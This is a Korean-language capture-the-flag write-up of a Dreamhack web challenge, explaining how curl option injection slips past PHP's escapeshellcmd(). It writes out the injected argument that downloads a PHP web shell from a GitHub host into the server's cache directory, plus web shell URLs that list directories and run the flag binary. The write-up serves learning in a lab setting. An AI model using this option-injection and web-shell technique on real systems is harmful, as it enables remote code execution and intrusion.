Command Injection Advanced | Write-Up

0xqury·2025년 5월 15일

WebWriteups

목록 보기
8/8

1. 문제


2. 풀이

취약점 분석

  • curl 명령을 서버에서 직접 실행할 수 있다는 점을 이용해 -o 옵션을 통해 웹쉘을 다운로드해 서버에 저장할 수 있다.
  • 이때 escapeshellcmd()는 커맨드 삽입은 막지만, curl의 옵션 사용은 허용된다.
  • 이를 이용해 외부에 업로드된 PHP 웹쉘 파일을 /cache 디렉토리에 저장하고 실행할 수 있다.

공격 흐름

① 웹쉘 다운로드

Dreamhack 서버에 웹쉘을 업로드

https://raw.githubusercontent.com/rinechran/Hws/master/WebShell/exec.php -o ./cache/shell.php

→ 서버에 ./cache/shell.php 생성됨

② 웹쉘 경로로 명령 실행

웹쉘로 접근하여 서버의 최상단 디렉토리 내용 확인

http://host3.dreamhack.games:#####/cache/shell.php?cmd=ls%20../../../../

/flag 파일 존재 확인

③ 플래그 실행

실행 권한이 있는 /flag 바이너리를 실행

http://host3.dreamhack.games:#####/cache/shell.php?cmd=/flag

puts() 함수로 출력된 플래그를 확인함


3. 정리 및 느낀점

이 문제는 curl 명령어를 통한 명령 실행 우회 문제였다.
escapeshellcmd()가 적용되어 쉘 메타문자는 필터링되지만, curl의 옵션인 -o는 차단되지 않아 이를 이용해 외부에서 웹쉘을 다운로드하고 실행할 수 있었다.

특히 문제 환경의 Dockerfile을 분석함으로써 /flag 실행 파일만 존재하고 flag.c는 삭제된다는 사실을 파악할 수 있었고, /flag에 읽기 권한은 없지만 실행 권한만 있어 system()이나 shell_exec()을 통해 실행하면 stdout으로 플래그가 출력됨을 예상할 수 있었다.

이 문제는 간접적인 실행 경로 확보curl 명령어의 활용, 그리고 Linux 권한 설정에 대한 이해가 어우러진 문제였고, 실전에서도 종종 발생할 수 있는 보안 설정 미스를 잘 보여주는 예제였다.


profile
지망생

0개의 댓글